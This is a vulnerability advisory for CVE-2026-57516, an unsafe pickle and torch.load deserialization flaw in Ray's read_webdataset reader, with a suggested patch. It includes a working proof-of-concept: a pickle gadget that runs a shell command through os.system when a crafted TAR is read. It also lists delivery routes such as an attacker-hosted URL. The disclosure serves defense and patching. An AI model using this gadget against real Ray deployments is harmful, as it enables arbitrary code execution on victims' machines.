CVE-2026-57516

## Summary `ray.data.read_webdataset(paths=...)` is a `@PublicAPI(stability="alpha")` reader for WebDataset-format TAR files. Its default `decoder=True` invokes `_default_decoder` on every sample's keys, which routes file extension to a decoder by extension. Two of those branches deserialize attacker-controlled bytes with no validation: - `.pickle` / `.pkl` -> `pickle.loads(value)` - `.pt` / `.pth` -> `torch.load(io.BytesIO(value), weights_only=False)` Both fire during a standard `ray.data.read_webdataset(...).take_all()` / `.iter_batches()` call. No flags, no opt-in, no environment variable. An attacker who can supply a TAR (via S3 share, HuggingFace Hub mirror, email attachment, model-zoo, or any HTTP URL the user passes to `read_webdataset`) achieves arbitrary code execution in the calling Ray process at schema-sample time, before row data is consumed. This is the same class of bug as GHSA-mw35-8rx3-xf9r (Parquet Arrow Extension Type cloudpickle deserialization, patched in 2.55.0): standard data-loading API, attacker-controlled file format, deserialization gadget invoked transparently. The 2.55.0 patch addressed `tensor_extensions/arrow.py:_deserialize_with_fallback` and made cloudpickle opt-in via `RAY_DATA_AUTOLOAD_CLOUDPICKLE_TENSOR_METADATA=1`. The WebDataset path is a different code site and was not touched. ## Vulnerable code (HEAD `a157d4d`) `python/ray/data/_internal/datasource/webdataset_datasource.py` lines 175-225, the `_default_decoder` function: ```python def _default_decoder(sample, format=True): sample = dict(sample) for key, value in sample.items(): extension = key.split(".")[-1] ... elif extension in ["pt", "pth"]: import torch # PyTorch 2.6 changed torch.load default weights_only=True, which # breaks loading general Python objects previously serialized for # WebDataset .pt payloads. sample[key] = torch.load(io.BytesIO(value), weights_only=False) # line 219 elif extension in ["pickle", "pkl"]: import pickle sample[key] = pickle.loads(value) # line 223 return sample ``` The comment for the `.pt/.pth` branch is itself a security smell: it documents that the maintainer chose `weights_only=False` *to override* PyTorch 2.6's safer default. The comment treats this as a compatibility fix; it functionally re-enables an arbitrary-code-execution path that upstream PyTorch closed. ## Reachability and default-on confirmation `python/ray/data/read_api.py:2289` defines `read_webdataset` with default `decoder=True`: ```python @PublicAPI(stability="alpha") def read_webdataset( paths, *, ... decoder: Optional[Union[bool, str, callable, list]] = True, ... ) -> Dataset: ... datasource = WebDatasetDatasource(paths, decoder=decoder, ...) ``` `WebDatasetDatasource._read_stream` (line 367) calls the decoder unconditionally when not None: ```python for sample in samples: if self.decoder is not None: sample = _apply_list(self.decoder, sample, default=_default_decoder) ``` `True is not None` evaluates True, so the default decoder fires for every invocation that doesn't explicitly pass `decoder=None` (or a custom safe decoder). The documentation does not warn about the behavior. ## End-to-end reproduction Tested on a fresh venv (`pip install ray[data]`) on Linux x86_64. Ray reports `__version__ == "2.55.1"` (the patched-against-GHSA-mw35 release): ```python import io, os, pickle, subprocess, tarfile, tempfile, sys MARKER = "/tmp/ray_webdataset_poc_rce_marker" class Gadget: def __reduce__(self): cmd = (f"/bin/sh -c \"printf 'RCE via ray.data.read_webdataset\\n" f"pid=%s\\nuser=%s\\n' \"$$\" \"$(whoami)\" > {MARKER}\"") return (os.system, (cmd,)) with tempfile.NamedTemporaryFile(suffix=".tar", delete=False) as f: tar_path = f.name with tarfile.open(tar_path, "w") as tar: for name, body in (("000000.txt", b"hello"), ("000000.pkl", pickle.dumps(Gadget()))): ti = tarfile.TarInfo(name=name); ti.size = len(body) tar.addfile(ti, io.BytesIO(body)) import ray, ray.data ray.init(num_cpus=2, ignore_reinit_error=True, log_to_driver=False) ds = ray.data.read_webdataset(paths=[tar_path]) rows = ds.take_all() assert os.path.exists(MARKER), "no RCE" print(open(MARKER).read()) ``` Output: ``` ray version: 2.55.1 crafted /tmp/tmpjpos115h.tar (10240 bytes) ds.take_all() returned 1 row(s) RCE CONFIRMED:marker at /tmp/ray_webdataset_poc_rce_marker: RCE via ray.data.read_webdataset pid=248816 user=xyz ``` The `.pt/.pth` variant is the exact same primitive against the `torch.load(io.BytesIO(value), weights_only=False)` branch; replace the TAR member with `000000.pt` containing `torch.save(Gadget())` to reproduce. ## Real-world delivery vectors - `paths=["s3://bucket/poisoned.tar"]` -- the user thinks they are reading a WebDataset shard; the bucket is shared, mis-permissioned, or compromised. - `paths=["https://attacker/model.tar"]` -- HTTP-served WebDataset. - HuggingFace Hub -- WebDataset is a recognized HF dataset format; users pull TAR shards via `datasets` and feed them to Ray Data. - Model-zoo / leaderboard tarballs -- common in CV/ASR workflows. ## Why GHSA-mw35 doesn't cover this GHSA-mw35-8rx3-xf9r patched `tensor_extensions/arrow.py:_deserialize_with_fallback` by gating `cloudpickle.loads` behind `RAY_DATA_AUTOLOAD_CLOUDPICKLE_TENSOR_METADATA=1`. That change touches the Parquet ExtensionType deserialization path only. The advisory text does not mention WebDataset, the WebDataset code is in a different module, and the unsafe loads here use `pickle.loads` and `torch.load(weights_only=False)` (not `cloudpickle.loads`). ## Suggested patch Two minimal options, both Ray-internal: 1. **Make the unsafe extensions opt-in**, mirroring the GHSA-mw35 fix pattern. Replace the `.pt/.pth` and `.pkl/.pickle` branches with a guard: ```python import os _ALLOW_UNSAFE = os.environ.get( "RAY_DATA_WEBDATASET_ALLOW_UNSAFE_PICKLE", "0" ) == "1" elif extension in ["pt", "pth"]: if not _ALLOW_UNSAFE: raise ValueError( f"Refusing to load .pt/.pth member {key!r} from WebDataset " f"with weights_only=False. Set " f"RAY_DATA_WEBDATASET_ALLOW_UNSAFE_PICKLE=1 only for trusted " f"sources." ) sample[key] = torch.load(io.BytesIO(value), weights_only=False) elif extension in ["pickle", "pkl"]: if not _ALLOW_UNSAFE: raise ValueError( f"Refusing to unpickle WebDataset member {key!r} -- " f"untrusted pickle is RCE. Provide your own decoder " f"or set RAY_DATA_WEBDATASET_ALLOW_UNSAFE_PICKLE=1 for " f"trusted sources." ) sample[key] = pickle.loads(value) ``` 2. **Drop these branches from the default decoder entirely** and require callers to provide their own decoder when working with .pkl/.pt samples. This is the safer default, matches WebDataset upstream's guidance ("by default, use safe decoders"), and is consistent with the spirit of the GHSA-mw35 patch. Either option flips the default-on RCE primitive into an explicit opt-in. The current default-on behavior provides no signal to users that calling `ray.data.read_webdataset` on an untrusted TAR is equivalent to running attacker code. ## References - Source: `python/ray/data/_internal/datasource/webdataset_datasource.py:175-225` - Public API: `python/ray/data/read_api.py:2287-2370` (`read_webdataset`) - Sibling advisory of the same class: GHSA-mw35-8rx3-xf9r (Parquet Arrow Extension Type, patched 2.55.0) - Earlier related advisory: PR #45084 (2024) fixed PyExtensionType cloudpickle but did not touch the WebDataset decoder. - WebDataset format: https://github.com/webdataset/webdataset

Ray prior to 2.56.0 contains an unsafe deserialization vulnerability in the WebDataset reader that allows attackers to achieve remote code execution by supplying a malicious tar archive to the read_webdataset() function. The _default_decoder() function in webdataset_datasource.py unconditionally calls pickle.loads() on tar entries with .pkl/.pickle extensions and torch.load() with weights_only=False on .pt/.pth entries, executing arbitrary code inside Ray remote workers on every worker that processes the malicious archive.